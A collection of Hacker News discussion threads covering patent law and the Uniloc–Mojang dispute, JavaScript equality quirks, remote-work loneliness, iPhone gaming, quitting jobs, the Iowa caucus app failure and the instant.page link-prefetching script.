SilasX
Another example is stock ownership, i.e. partial, tradeable ownership of a
venture. No, you can't hold it in your hands[1], but people understand that
it's property in all the relevant senses and can be meaningfully said to be
"stolen" (e.g., if the votes you make with your shares are ignored).
[1] The stock certificate doesn't count; that's a representation of the
property, not the property itself.
~~~
belorn
The stock certificate does count: 1) Its legal tender, 2), if you loose the
certificate then you loose the property.
Its like trying to argue that money are not property, just representation of
property.
~~~
SilasX
Wait, what? Most exchanges and corporations don't even go by a paper
certificate, proving my point: shares (and money, for that matter), are
defined by a relationship, not a physical instantiation. If you lose a
certificate (if they even still issue them), there are still records of how
many were issued, and of when they were transfered to you. As long as that
history can be reconstructed, you are still given the voting/dividend rights,
and if you aren't, it's lawsuit time.
Same thing with contracts: a contract is a relationship. The signed piece of
paper is not the contract, but proof that a contract exists.
It's just a case of Procrustean bedding to act like all property (or rights
bundles isomorphic thereto) must be physical.
~~~
michaelcampbell
> Most exchanges and corporations don't even go by a paper certificate,
Except the ones that do. You're right; most don't by default, but if you DO
have valid paper certificate, it is a bearer instrument. Who owns it, owns it.
~~~
SilasX
Which is to say, that the physical piece of paper is _not_ a defining
characteristic of property in stocks (even one case would mean that paper is
not inherently part of stock ownership), just as physical stuff is not
necessary in many other kinds of property.
------
zmb_
> Patents are there to stop people stealing a technology you invented and
> letting you have a fair shot at making a living from it.
Patents are quite explicitly _not_ there to stop people "stealing a
technology". You can already do this by keeping your invention secret (which
many jurisdictions grant some form of protection).
The purpose of patents is to encourage inventors to publicly disclose their
inventions so that others can benefit from and build on this knowledge,
accelerating the rate of technological advance. In return the public grants
the inventor a limited period of monopoly on the invention.
The patent system currently in place in the western world is not achieving the
goals that the society has set it, mostly because patents are granted for
"inventions" whose public disclosure has no value (because they're obvious or
over broad). What we get instead are huge companies with massive patent
arsenals stopping new companies from getting into business, patent trolls
extorting money, and independent inventors whose patents are worthless since
they cannot bear the cost of defending them against large companies.
~~~
travisp
I keep hearing this "purpose of patents", and while it's a common belief
today, I don't know that it really fits in with what historically has been the
purpose of patents. Much 19th century writing on patents and intellectual
property saw them as fundamental property rights that protect the fruits of
one's labor.
~~~
sp332
American patent law is somewhat different. [http://press-
pubs.uchicago.edu/founders/documents/a1_8_8s12....](http://press-
pubs.uchicago.edu/founders/documents/a1_8_8s12.html)
~~~
travisp
Not necessarily, here's an alternate view:
<http://papers.ssrn.com/sol3/papers.cfm?abstract_id=892062>
>The conventional wisdom holds that American patents have always been grants
of special monopoly privileges lacking any justification in natural rights
philosophy, a belief based in oft-repeated citations to Thomas Jefferson's
writings on patents. Using 'privilege' as a fulcrum in its analysis, this
Article reveals that the history of early American patent law has been widely
misunderstood and misused. In canvassing primary historical sources, including
political and legal treatises, Founders' writings, congressional reports, and
long-forgotten court decisions, it explains how patent rights were defined and
enforced under the social contract doctrine and labor theory of property of
natural rights philosophy. In the antebellum years, patents were civil rights
securing important property rights -- what natural-rights-influenced
politicians and jurists called 'privileges.'
~~~
sp332
So why does the constitution say they should be granted for a limited time,
and for the progress of "science and the useful arts"? That doesn't sound like
natural rights or a labor theory of property.
------
jere
>And yet, the technology in question is a system that stops people from
pirating their software and helps them make money. Well if you think it's so
unfair, don't use the tech. Do something else. No one is forcing you to use
the technology.
Bullshit. Mojang isn't using Uniloc's tech. They're writing their own tech
using a bloody obvious idea.
~~~
jcromartie
Not to mention Uniloc doesn't even _have_ technology. They do not create or
sell software.
~~~
jere
I was going to respond by playing devil's advocate and defending Ric and
Uniloc. But a quick glance at their site proves you absolutely right. Here are
some gems:
Uniloc's surprising honesty:
>And it fits our straightforward development model. Look at many ideas. Pick
an outstanding one. Patent it. Commercialize it. Reap the rewards.
Uniloc's vast knowledge of technology:
>After all, Bell Labs did develop some fairly transformative technology like
radio astronomy, the transistor, the laser and the _UNIX programming
language._
~~~
jcromartie
Hah. Someone who thinks UNIX is a programming language is obviously not
intimately involved with building real technology.
~~~
mitchty
I find it odd that lawyers, who use language to such an exacting degree they
have effectively created their own dialect of English, have so much factually
wrong information written on their own site.
------
DanWaterworth
_Most other crimes require intent, patent infringement does not._
This is the problem I've always had with patents, but I've never been able to
articulate it before.
~~~
anamax
>> Most other crimes require intent, patent infringement does not.
Huh? Patent infringment consists of using some technique without the
permission of the owner.
There's intent all over that.
Are you suggesting that folks are using techniques without the intent to use
said techniques? Or that they aren't intending to use them without the
permission of the owner? (Yes, you can argue that they didn't know that they
needed permission but that doesn't change the fact that they intended to use
them without permission.)
~~~
eli
Of course there are folks using patented technology without permission of the
owner who nevertheless did not intend to infringe a patent -- that's exactly
what's happening here with Mindcraft!
For the sake of argument, imagine I can prove that I came up with an idea for
something on my own. I'm completely unaware that it has previously been
discovered and patented. I did not even think it was an idea that could be
patented. Did I _intend_ to infringe that patent?
~~~
pbhjpbhj
That's like arguing that you thought it was legal to kill someone using
radioactive isotopes and therefore you had no illegal intent. Patent
infringement is defined by the corpus of protected inventions and being
unaware of the locus of infringing actions is not a defence against
infringement.
If you make sufficient disclosure part of the patent system then this is the
only way to do things really. If you don't require it then patents are
worthless for the [general populous of the] state.
~~~
anthonyb
It's completely different. For starters, there's the "reasonable person" test.
No reasonable person is going to think that murder is legal.
Intentionally infringing a patent is punished much more harshly, and it's
impossible to keep up with the millions of patents that are published, so
being intentionally unaware is actually a decent legal defence.
And yes, this does mean that patents are generally pretty useless for
software.
~~~
DanWaterworth
Also, I'm not a lawyer, so correct me if I'm wrong, but isn't it also patent
infringement if the following happens:
A patent is filed for technique X by company A,
Company B use technique X having created it independently,
The patent is issued to Company A,
Company B is now infringing upon Company A's patent.
Company B could not possibly have committed patent infringement intentionally,
because the patent they infringed didn't even exist when they went about
implementing their product.
~~~
anthonyb
Not sure in that case. If B can prove that they were using it first, then it's
possibly prior art (or else obvious) and A's patent may be invalidated.
~~~
dllthomas
IANAL, but I believe that's only true if B was using it before A filed. The
order described was "A files, B re-invents, A's patent is issued". It may have
some weight in arguing that the invention was obvious, but my understanding is
that this is harder than invalidating a patent based on prior art.
------
ynniv
Where is the expert? Ric Richardson is not an attorney, let alone a patent
attorney. Ric's comments are uninformed, and probably not worth responding to.
[ <http://ricrichardson.blogspot.co.uk/p/about-ric.html> ]
~~~
pavel_lishin
I wonder when he's going to go after Microsoft for patent infringement:
[http://www.google.com/patents?id=K7MoAAAAEBAJ&dq=uniloc+...](http://www.google.com/patents?id=K7MoAAAAEBAJ&dq=uniloc+registration)
~~~
masklinn
He already did back in the 90s.
------
chrislloyd
I met Ric Richardson sometime late last year. He claimed to have just invented
a "fibre optic CPU" the week before. He also boasted about how at a dinner
party he had taken a guest's idea and filed a provisional patent for it in 30
minutes.
He made a room full of young entrepreneurs with unique ideas feel _very_
nervous. He feeds on innovation.
------
dangoldin
I keep on hearing about the Eastern Texas courts that are consistently
plaintiff friendly. Just seems messed up that you could sue someone wherever
it's most convenient for you.
~~~
fr0sty
This American Life did a show recently (in the past year) about patent trolls
(focusing on Intellectual Ventures):
[http://www.thisamericanlife.org/radio-
archives/episode/441/w...](http://www.thisamericanlife.org/radio-
archives/episode/441/when-patents-attack/)
Their explanation of the venue choice was that the other federal courts were
choked with drug-related cases and going to East Texas was a way to get a
speedier trial.
~~~
dangoldin
Thanks for mentioning this! I'll take a look when I have some time.
------
jowiar
> In fact, you can break this law without even knowing that someone else
> thought of the idea first.
This is the biggest flaw with the current patent system. The reality is if an
invention falls into this category, it should not be patentable. Raising the
barrier of "obviousness" to a level requiring an invention be transformative
to the point that, within the term of the patent, the likelihood that anyone
else independently invents the same thing is sufficiently small would go a
long way to addressing these problems.
~~~
pbhjpbhj
> _within the term of the patent, the likelihood that anyone else
> independently invents the same thing is sufficiently small_ //
The problem then is that there is little to no incentive for the applicant to
share the idea. If it's something no one will come up with, then you can keep
it secret and benefit from an indefinitely extended monopoly.
The _quid pro quo_ of patents is early information about new inventions in
exchange for limited time monopoly. Here you're encouraging
inventors/companies to prefer industrial secrets.
If inventions meet your requirements but are kept secret then the public
domain will be worse off as no one gets the benefit of being able to privately
use/research the invention unless it can be replicated. With a patent the full
details are disclosed.
Obviousness is very difficult to assess because some things that took many
years developing are so ingenious that they seem obvious. The applicant always
has the argument - if it were so obvious how come, in such a well worked
field, with such demand for this invention, how come it wasn't already
developed? The answer of course is that it wasn't "obvious" [to the skilled
practitioner with knowledge of the prior art in the relevant domain].
~~~
ambrice
Ok, but what percentage of software patents are going to be useful in 20 years
when they go into the public domain anyway? Doesn't seem like there's a lot of
society downside to just keeping them secret vs open but unable to use until
2032.
~~~
pbhjpbhj
We don't have software patents ( _per se_ ) [!!] in Europe.
But anyway ... if it's not useful it doesn't matter that it's patented and if
it is then you've got full disclosure. So I'm not sure the percentage is
really important. Perhaps the fees should increase at a greater rate to
encourage early release of patented inventions that aren't high worth.
Personally I'd limit the term to about 8 years for all patents and dispense
with US business method and pure software patents.
------
reader5000
There needs to be a website or something to shame known patent and trolls AND
THEIR ATTORNEYS.
~~~
powerslave12r
Someone please do this! ShowHN: Shamr!
~~~
prezjordan
> Shamr.io
------
jcromartie
What would you expect from someone who thinks that _nothing more than the
idea_ of registering a demo constitutes "technology"?
~~~
mcherm
I expect them to have a successful career in the Patent Office.
(Sorry about the "cheap shot"... I realize that the problems are with the
laws, not the patent examiners. But humor is the only way I can approach this
subject without tears.)
------
terhechte
What I don't get, and I hope somebody can enlighten me here is this: Isn't
Mojang a swedish company, registered in Sweden? How can the US patent law
apply to Sweden since Sweden has a different patent law?
For example, I have my company in Germany, where it's (almost) impossible to
get a patent for software patents. So if a greedy patent troll in Texas
decides that one of my apps infringes their patents, can they even sue since
my company is obviously in Germany? Or can they only stop me from selling in
the US? (which would be a huge drawback, of course).
How is such a situation handled?
~~~
estel
If you're selling _to_ the US (as Mojang is), then you can be bought to trial
there.
~~~
terhechte
What would be the worst that could happen then if I'd just ignore it and
decide to never visit the US again nor sell anything to the US again?
~~~
bjornsing
That's a very good question - and as all good questions it's difficult to
answer: it depends. :)
There was recently a case where Håkan Lans argued he should not have to pay
Acer after having lost a patent suit in Washington, because he is a Swedish
citizen and the american verdict was according to him unjust. He first lost,
but appealed and won in the appellate court (Hovrätten) [1]. The court argued
that since there was no contract between the parties governing jurisdiction
the foreign court decision could not be used in a Swedish court as proof of
debt. Therefore Acer would have to sue Håkan Lans in Sweden, and have a
Swedish court rule on the merits of the case, if they wanted the aid of
Swedish authorities in collecting damages.
[1]
[http://www.nyteknik.se/nyheter/it_telekom/datorer/article250...](http://www.nyteknik.se/nyheter/it_telekom/datorer/article2503032.ece)
~~~
terhechte
Thanks for the info. Will do some research then and just hope that I'll never
be targeted by a patent troll.
------
bobsy
Firstly.. I doubt anyone saw "Scrolls" and thought "The Elder Scrolls". Hell,
when I think "Skyrim" I don't think "The Elder Scrolls."
Patents should protect against idea theft.
I would like Patents to be like math. If you show all your working out you are
_mostly_ fine. This way, if you are taken to court you have documentation
which shows each step of development that got you from A to B. This would
include missteps etc.
This would allow two people who have the same idea to not be infringing a
patent.
It would still be for the judge to interpret. It may be the case that person B
started work on their product after the release of person A's work. There work
may be dubious.
At least this would allow someone to create a similar product via their own
initiative without being in breach of patent they were unaware of.
------
monochromatic
> Most other crimes require intent, patent infringement does not.
Patent infringement isn't a crime. Most (although not all) crimes do require
some level of intent. But patent infringement is like any number of other
civil causes of action in not requiring intent.
------
verroq
Notch knocking down a strawman frontpages on HN.
~~~
gruseom
This isn't even close to being a strawman. The argument put forward by Ric
Richardson, Inventor is a bad one but that doesn't mean he intended it to be.
On the contrary, Ric Richardson, Inventor intended it to justify predatory
action against a _real_ inventor and belittle anyone who has a problem with
that.
It gets my goat to hear people like this talk about others "stealing"
technology they "invented". What these parasites invent is _paperwork_ , the
purpose of which is legalized extortion from people who really do invent
things. They brazenly label themselves The Innovators to win the sympathy of a
public (especially legislators and juries) who don't know enough to tell that
they are frauds.
------
debacle
Internet expert != expert
~~~
glesica
"Internet expert" == ! expert
~~~
rapind
"==!" === "Bad Javascript idiom you won't find in many other languages."
~~~
masklinn
> Bad Javascript idiom you won't find in many other languages.
It's not an idiom, and identity tests exist in other languages. You may know
them as "==" (Java), "is" (Python), "eq?" (Scheme) or "object.ReferenceEquals"
(C#).
Now the syntax is ugly and this does not excuse the fucked up non-overridable
equality, but aside from that `===` works pretty well in Javascript.
As opposed to PHP, which famously did manage to even fail implementing
identity correctly[0].
It also has nothing to do with the comment you replied to, which uses `== !`
(to operators, an equality to a negated operand)
[0]
[http://developers.slashdot.org/comments.pl?sid=204433&ci...](http://developers.slashdot.org/comments.pl?sid=204433&cid=16703529)
~~~
StavrosK
This is irrelevant, but it blows my mind that "[1] == [1]" returns False in
JS.
~~~
masklinn
I'm "ok" with that, it's a property of non-overridable equality tests, where
arrays are "standard objects" (with natively implemented lots of things, but
still objects) rather than built-in magical special cases of the language
(although there are still things done by arrays I don't think you can do
without recent extensions to the spec, such as
js> var a = []
js> a[42] = 3
3
js> a.length
43
) as opposed to e.g. Go where a few blessed types have access to features Go
users _do not have any possible access to_.
It bothers me significantly more that
[1] == 1
does _not_ return false in JS. Although the rules through which this is
reached are clear.
| {
"pile_set_name": "HackerNews"
} |
A Disturbing Number of People Think Coronavirus Is Related to Corona Beer - elorant
https://www.vice.com/en_us/article/qjdvvd/a-disturbing-number-of-people-think-coronavirus-is-related-to-corona-beer
======
maxbaines
I think this is more likely to be people like me googling that to see all the
Corona Beer memes
~~~
verdverm
I was going to take food dye to the bar tonight
------
cjbenedikt
As Einstein said:" Two things are infinite - the Universe and human stupidity.
I'm not so sure about the first one."
| {
"pile_set_name": "HackerNews"
} |
The Hero Jr. personal robot from HeathKit: a 1984 product way ahead of its time - acidburnNSA
https://partofthething.com/thoughts/the-hero-jr-personal-robot-from-heathkit-a-1984-product-way-ahead-of-its-time/
======
bitwize
When I saw one of these on Mr. Wizard back in the day, I thought the future
had arrived.
------
zie
I always wanted one as a kid, but they were way out of our price range.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: members of distributed teams, how do you cope with the loneliness? - ozh
Of course you're collaborating on a day to day basis using email, skype, IRC or whatever, but how do you handle the physical loneliness throughout the day?
======
JSeymourATL
Purposely plan regular 1:1 breakfast or lunch meetings with a long list of
assorted friends/colleagues. Engage in the lost art of live conversation. It
takes effort and forethought, people can get busy. That makes it all the more
important.
------
peterwwillis
Find a cafe or coworking space. You're in Nantes, right? Check out the Nantes
Cité des Congrès and Nantes Route de Paris, they both have dedicated coworking
spaces. Personally I would find something right on La Loire or L'Erdre so I
had a nice view of the water; really any view of nature I think will help,
even if nobody's around. After work, get out and find something to do with
other people.
------
Nanzikambe
Company wide IRC type chat with several non-business chat channels to
socialise in (eg. Tech, Food, Fun, Sport). Can use an IRC server, jabber/XMPP
or Hipchat for this.
Plus regular real world trips to meet/connect with the people you work with,
and an active social life outside work.
It of course helps if you're the kind of person that likes solitude.
------
benji-york
I may be an outlier; it takes me about two weeks of not interacting with
another person to feel the least bit lonely.
------
caw
Our IRC chat (flowdock) has a section which is basically water cooler
discussion and copious amounts of gifs. Normal work takes place in other
channels.
Other than that...
rdio subscription
Local meetups
"bring my dog to work" self-made perk :) He hangs out in the same room I'm in
for most of the day.
~~~
trvd1707
I've been telecommuting since 2000 and definitely pets help. I have two cats
and a dog.
Sometimes I work at the library or cafés. Meetups are great too.
Volunteer work outside the house once in awhile.
------
eswat
Unless you have a family, try working in coffee shops and coworking spaces
more than you work at home.
And really unwind with your friends on the weekends, to the point where you
wouldn’t mind not seeing another human being the Monday after.
------
virtualteam
Have short meetings with your team every day. Make jokes and share fun things.
Implement a Social Network for your company/team. Join a shared office space
or go to a cafe where people are working like you. Exercise every day. Meet
with face to face with friends in the evenings.
------
trvd1707
There is always the option of traveling abroad always staying in places with
good internet connection. You get to meet new people all the time:
[http://locationindependent.com/](http://locationindependent.com/)
------
riaface
We use Sqwiggle ([https://www.sqwiggle.com/](https://www.sqwiggle.com/)) which
is almost like being in the office - everyone's there when you need them.
Would totally agree with caw about getting a dog though!
------
acd
Join a shared office space. It's difficult, spend more time around family.
| {
"pile_set_name": "HackerNews"
} |
Mindful in May - evolve2k
http://www.mindfulinmay.org
======
khorwitz
Mindfulness for your work:
[https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneb...](https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneblnnldmaffhbniomfajlah)
Instead of focusing on your (i.e.) your breath, you can practice bringing your
focus back to your current task. Whenever you open a new tab, it shows your
current task in huge letters to prevent you from going on a downward spiral
(cough _hackernews_ cough :) before it starts.
| {
"pile_set_name": "HackerNews"
} |
A word about color - grishick
Commenters on the tech blogs are eager to jump on the bandwagon and bash Color's $41 mil investment as a clear sign of a bubble. At first I thought so too. Granted, the app has a two star rating, is not immediately intuitive, and is otherwise only marginally useful. Yet, I disagree with all of you who are saying that this will be a massive flop. The way I see this, is that Color's app is just a red herring which diverts attention from the underlying technology. However, the underlying technology that they've developed is pretty impressive, and has a lot more potential uses than yet another social photo sharing location aware phone app.
======
kqueue
Your claims are based on what?
~~~
grishick
On having used the app and having talked to people who worked with Bill
Nguyen.
~~~
kqueue
That was worth mentioning then.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Komposto – Sketchbook of self-modifying programs - fatiherikli
http://komposto.org
======
azeirah
This really needs an accompanying introduction. Why this? How'd you get this
idea? What's easy to do using this technique that's not easy in traditional
programs? It's too far out for me (and I guess for others as well) to just
"get" instantly.. I'm not sure I want to spend a few hours playing with this
just to find out it's not too interesting, then again, I might do that anyway.
------
fatiherikli
There is a demo GIF in README on the github repository if you'd like to watch:
[https://github.com/fatiherikli/komposto.org](https://github.com/fatiherikli/komposto.org)
| {
"pile_set_name": "HackerNews"
} |
2009 Predictions: iPhone Gaming Will Replace Nintendo and Sony - dell9000
http://ryanspoon.com/blog/2008/12/29/2009-predictions-iphone-gaming-will-replace-nintendo-and-sony/
======
sachinag
OK, let me point out that the Nintendo DS has a web browser, Wi-Fi
connectivity, and _actually works_ as a gaming device.
I think the DS would be more likely to be successful adding calling features
(like the PSP has with full-on Skype support) than an iPhone would be adding
real tactile gaming controls and becoming a legitimate platform.
I get it - I get it - people _want_ the iPhone to be the magical "one device".
But I'll tell you what - Nintendo has never lost a handheld generation (Lynx,
Game Gear, and PSP to date) and they don't look like they're going to any time
soon.
~~~
iofthestorm
I agree. Anyone who thinks a touchscreen-only device can replace tactile
buttons on a gaming device is on crack. Although, the DS doesn't have a web
browser built in except on the newer DSi, which is currently only available in
Japan, and all web browsers on the DS/DSi have generally sucked for anything
beyond text-only browsing. The homebrew browsers are actually somewhat better
than commercial ones, although I don't have a DSi yet but from what I've seen
the DSi's browser is still pretty slow. I wouldn't compare DS web browsing to
the iPhone, but then I wouldn't compare iPhone gaming to the DS/PSP.
The biggest factor for me is the games, though, and only a Nintendo platform
will ever have Nintendo games (industry trolls that keep calling for Nintendo
to become a third-party developer notwithstanding). Nintendo is definitely one
of the top game development houses out there, and Apple doesn't really have
anything that can compete. Nintendo understands games, Apple does not.
------
JimEngland
This is beyond ludicrous. Buttons and joypads can't simply be plastered onto
the touch screen; controls have to be tactile or else you will make mistakes.
When I misspell a word typing I can just go back and erase. When the game
mistakes which button I press and my character dies, I get frustrated and
pissed off.
~~~
casta
I get frustrated and pissed off even when I mispell a word typing on the
iPhone.
------
aweraw
I'm not so sure... how many children own an iphone, or are likely to own one
in the coming year? I'd wager it would be a small fraction of the number of
DS/PSP owners.
Wishful thinking at its finest. I get that iphones are popular, they're just
not _that_ popular.
------
mrtwitter
Monkey ball arrived and all have mimicked since.
| {
"pile_set_name": "HackerNews"
} |
The Death of Iowa - smacktoward
https://www.politico.com/news/2020/02/04/the-death-of-iowa-110655
======
gumby
This looks political but I think it raises a different, more important point
about the naïveté people exhibit when it comes to software and complex
technology. This was exhibited by the developers of course who promised and/or
agreed to a time scale that did I not include any sort of reasonable
performance or user testing, but also the faith that the elections folks had
that magical technology could simply spring from the ground fully grown like
Athena from the head of Zeus.
In addition, whatever you think of the Iowa process, this was in the end a
technology failure and unless the tech was deployed to address some other
deficiency (which as far as I know it was not — it was just intended to be an
optimization), it’s failure should change nothing.
However the failure could be used as a scapegoat. It brings to mind the 2000
election in which a technology failure (of a manual punch) lead to a rushed
adoption of a worse approach that had the gloss of magical computerism.
~~~
kjaftaedi
I see it as a flaw to even consider needing complex technology.
Elections are a system that require little more than simple addition.
Encryption is helpful for authentication and data protection, but this
technology exists already and just needs implemented.
If you've gotten to the point where you've made counting complex, you have
failed IMHO.
~~~
Fjolsvith
Perhaps its the ability to manipulate the results that gummed up the works?
~~~
gumby
Cute but unlikely. They did keep a complete paper record so anyone concerned
could do a recount.
~~~
Fjolsvith
Then why has a full count taken so long to do? The paper records were supposed
to be failsafe.
------
simonblack
It may look old-fashioned, but you can't beat paper and pencil ballots, with
counts watched carefully by scrutineers from all the major parties, and the
results sent to a central tally-room where once again, scrutineers from all
the major parties can act as checks and balances to ensure that the final
results are accurate and wide-spread.
------
Doches
This is straight politics. From the HN guidelines:
> Off-Topic: Most stories about politics, or crime, or sports, unless they're
> evidence of some interesting new phenomenon. Videos of pratfalls or
> disasters, or cute animal pictures. If they'd cover it on TV news, it's
> probably off-topic.
~~~
RileyJames
Except the whole debacle springs from a spectacular series of software
failures, making this somewhat relevant.
How bad can a few bugs be? Bad enough to destroy the hopes of 7 presidential
contenders making it to the White House?
Maybe that’s an overstatement, but it makes the party look incompetent, and by
association, all the nominees. What does it take to convince someone not to
vote? How about “they’ll probably just mess up your vote anyway, look at
Iowa”. And yes, that’s a dumb statement, and no, as we’ve seen that doesn’t
make it unconvincing one. The narrative is key, and the narrative is bad. And
it was a poorly implemented piece of software that caused it.
Seems like something worth talking about.
~~~
cryptonector
Oh hai. I have a bridge to sell you. It's in New York City. It's in good
shape. You can make really good money on the tolls. Drop me a line!
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Why did Microsoft not use HTML as the format for its word documents? - abs222
What's the difference between using doc vs. HTML as a document format? Why did Microsoft not use HTML instead of inventing doc format?
======
greenyoda
Because Microsoft Word came out in 1983 and HTML didn't exist until 1993. Not
to mention that early versions of HTML were pretty limited (CSS didn't come
out until late 1996).
Also, a binary format like .doc is much more compact and faster/easier to
parse, and in the 80's and 90's, computers had much less memory and processing
power than they have today.
Today's Microsoft Office formats are based on XML - a .docx/.xlsx/.pptx file
is a zip archive containing a directory tree of XML files (plus some binary
data such as bitmap images).
------
tomhoward
Microsoft started using XML-based document file formats in the early 2000s,
and adopted Office Open XML in 2007. XML is like HTML but not limited to web-
page markup.
The reason it wasn't always the case was that the .doc format was initially
developed before HTML and XML.
The first version of Microsoft's .doc format was developed in 1983.
HTML was released in around 1991, after being developed through the late 90s,
and XML emerged in the late 90s.
To be fair, Microsoft was reasonably fast to move to XML-based formats once it
was clear XML was becoming an industry standard.
------
ankurdhama
People will come up with all sorts of opinions about this but if you want to
find the actual answer for this question then you need to ask someone who was
in the control of deciding about the doc format when it was first invented.
| {
"pile_set_name": "HackerNews"
} |
Quitting job - nitam
I knew i made the right decision to leave the corporate-dilbert-like world when asked by a coworker : "why are you leaving this job, now you'll have to learn many new things".
Defense rests :)
======
staunch
I'm planning my escape in great detail, like a prison inmate who has been
wrongly convicted and sentenced to life in a cubicle. I already made it out a
few times before but was recaptured. Armed with my greater yearning and
experience I'm determined to make it out for good. Even if it does take
another 20 attempts, I will willingly bloody myself on the corporate barbed
wire fence that confines me. One day I will escape and spend my time roaming
in the open green grass of fulfilling hard work, intellectual curiosity, and
irreverent exploration. Oh yes, I will be free.
------
ALee
We've all read it, and probably seen it
<http://www.youtube.com/watch?v=4oAB83Z1ydE?>, but for those quitting their
jobs and changing the world...
Here's to the crazy ones. The misfits. The rebels. The troublemakers. The
round pegs in the square holes. The ones who see things differently. They're
not fond of rules. And they have no respect for the status quo. You can quote
them, disagree with them, glorify or vilify them. About the only thing you
can't do is ignore them. Because they change things. They push the human race
forward. And while some see them as the crazy ones, We see genius. Because the
people who are crazy enough to think they can change the world, Are the ones
who do.
~~~
quickpost
Good Video - but your link is broken. Here it is:
<http://www.youtube.com/watch?v=4oAB83Z1ydE>
------
nraynaud
I quit too, I feel like being on the beach with my surf before a 10 feet
swell: with so much people looking at me, I can't go back to the car without
even trying, but that's scary.
------
corentin
I did brutally quit too, a few months ago, for the same reason. But I had no
money, so I had to take another job. Anyway, I don't regret it and I'll
probably do it again, this time with more preparation :)
------
rams
Hehe, me too. Feels scary at times, esp since I don't have another job. But I
can't put up with 9-5 jobs anymore. I switched off my mobile to avoid getting
harassed by another company that wants me to work for them.
~~~
nitam
when you think about it its just a trade or investment. I have some money to
survive a few months and i'll trade it for interesting work and a "quasi-slim"
shot at financial independence. When/if i run out i will have to go back to
pointless meetings so its a pretty big motivator and that can not be bad :)
------
utnick
I'm very jealous!
My quit date is 6 months away.
Trying to get enough money together to live for a year or so first, but
towards the end of each week I get more and more tempted to hand in my
resignation.
------
andresoileau
Although different this reminds me of those (even those close to you) that
voice their thoughts that working on a startup and not working a 9-5 job is
less respectful. I file these under the "Wh-what?" replies.
~~~
Andys
I had a slightly different problem - once I left and made the odd appearance
in casual clothes, for some reason it was assumed I had become a highly paid
consultant of some kind, living "the life" and that I "had all the luck".
I think, deep down, people know they have the ability to do anything they
want, but they are scared to let the thought even bubble up through their
subconscious. Either that or they're damn lazy. Its cool, but I resent the
whole "luck" thing.. the more I work hard, the more I realise hard work is the
only way to succeed.
~~~
davidw
Hard work will get you to a certain point - look at doctors, laywers, people
like that. They work hard, and they take home pretty good pay. They're never
going to get youtube or skype amounts of money though.
I think the startup world is more random, though, and hard work only gets you
in a position to take advantage of opportunities, as someone mentioned
elsewhere regarding "The Black Swan".
------
pistoriusp
I quit too... Best thing I've done in a long time.
------
mooneater
left my job at microsoft today to focus on my startup. leaving feels like i
just took a huge dump.
i learned a lot there. but their approach seemed to be: throw more people and
money at the problem. (please see "mythical man month".) whereas at the
startup, its all my code and it mostly fits in my head.
------
alaskamiller
Why do you need to quit? Job security + paycheck with time management is much
better than a startup without revenue.
~~~
hello_moto
Some people just can't work 9-5.
Some people just can't be told by their bosses.
Some people just like to do whatever they please.
Now for the issue of H1-B. I think the government should increase H1-B visas
because it seems to me that most Americans loathe the idea of working in a
cubicle and getting steady cheque with health benefits and stock options. If
that is the case, why don't give your day jobs to people who need them the
most?
There are thousands (or more) people that might envy at your day job.
I think US government should be aware of this situation. The reason why hi-
tech companies need more human resources is because:
1) People don't major in CS anymore
2) People loathe the idea of working 9-5 for the man.
~~~
nostrademons
"Some people just like to do whatever they please."
Technically, entrepreneurs can't do whatever they please either. They have to
do what their customers say.
That's perhaps a good test for whether you'll make a good founder: how do you
react when asked to do something by a customer, vs. how do you react when
asked to do something by your boss? If you jump to attention for the customer
but blow off the boss, you'll probably do fine. If you jump to attention for
the boss but blow off the customer (far more people do this than you'd think),
you're better off as an employee. If you won't do anything for anyone, you
have a very difficult life ahead of you.
------
steveplace
Might have to learn how to spell ;)
Grammar nazi strikes again!
~~~
falsestprophet
Downmod: Grammar Nuremberg!
| {
"pile_set_name": "HackerNews"
} |
Introducing the new Intel HTML5 Development Environment - amanvir_sangha
http://software.intel.com/en-us/html5
======
suyash
I'm still not sure why they care so much about HTML5? They say you can put
apps on iOS, Android , Windows etc well there is nothing new about that but
where does Intel HTML5 come in the picture?
~~~
suyash
I think they are just jumping on HTML5 bandwagon without any clue.
------
induscreep
Intel...guess they put the I in IDE.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Make your site’s pages instant in one minute - dieulot
https://instant.page/
======
WestCoastJustin
Live demo on my website @
[https://sysadmincasts.com/](https://sysadmincasts.com/)
Temporary added it in-line for testing. I was already in the sub 100ms level
but this just puts it over the top! Also updated all admin
add/edit/delete/toggle/logout links with "data-no-instant". Pretty easy. Open
developer preview and watch the network tab. Pretty neat to watch it prefetch!
Thanks for creating this!
ps. Working on adding the license comment. I strip comments at the template
parse level (working on that now).
pps. I was using
[https://developers.google.com/speed/pagespeed/insights/](https://developers.google.com/speed/pagespeed/insights/)
to debug page speed before. Then working down the list of its suggestions.
Scoring 98/100 on mobile and 100/100 on desktop. I ended up inlining some css,
most images are converted to base64 and inlined (no extra http calls), heavy
cache of db results on the backend, wrote the CMS in Go, using a CDN (with
content cache), all to get to sub 100ms page loads. Pretty hilarious when you
think about it but it works pretty well.
~~~
fwip
If I mouse-over the same link 10 times, it looks in my network tab like it
downloads the link 10 times.
I'd expect this preload script to remember the pages it's already fetched and
not duplicate work unnecessarily. :/
~~~
aruggirello
Perhaps the author could add a script parameter, or support an optional
'preload-cache-for' attribute, so you'd write <a preload-cache-for="300s" ...>
If you really care about speed anyway, you should already have setup your site
to max out caching opportunities (Etag, Last-modified, and replying "not-
modified" to "if-modified-since" queries) - I'd suggest the author should
ensure the script does support caching to the broadest extent possible -
hitting your site whenever appropriate.
~~~
dharmab
Cache-Control headers already do a better job of solving that problem
[https://developer.mozilla.org/en-
US/docs/Web/HTTP/Headers/Ca...](https://developer.mozilla.org/en-
US/docs/Web/HTTP/Headers/Cache-Control)
------
xpose2000
I've been testing it for the past 30 minutes or so and found that it doesn't
cause the same problems that InstantClick did. (Which was javascript errors
that would randomly occur.) I'll limit it to a small subset of users to see if
any errors are reported but there is a good chance this could go live for all
logged in users. Maybe even all website visitors if all goes well.
Seems to have no impact on any javascript, including ads. Pages do load
faster, and I can see the prefetch working.
Just make sure you apply the data-no-instant tag to your logout link,
otherwise it'll logout on mouseover.
~~~
hn_throwaway_99
> Just make sure you apply the data-no-instant tag to your logout link,
> otherwise it'll logout on mouseover.
Logout links should never be GETs in the first place - they change states and
should be POSTs.
~~~
slim
POSTs are not Links. And Logout service is indempotent even if you can
consider it changes the state of the system
~~~
glacials
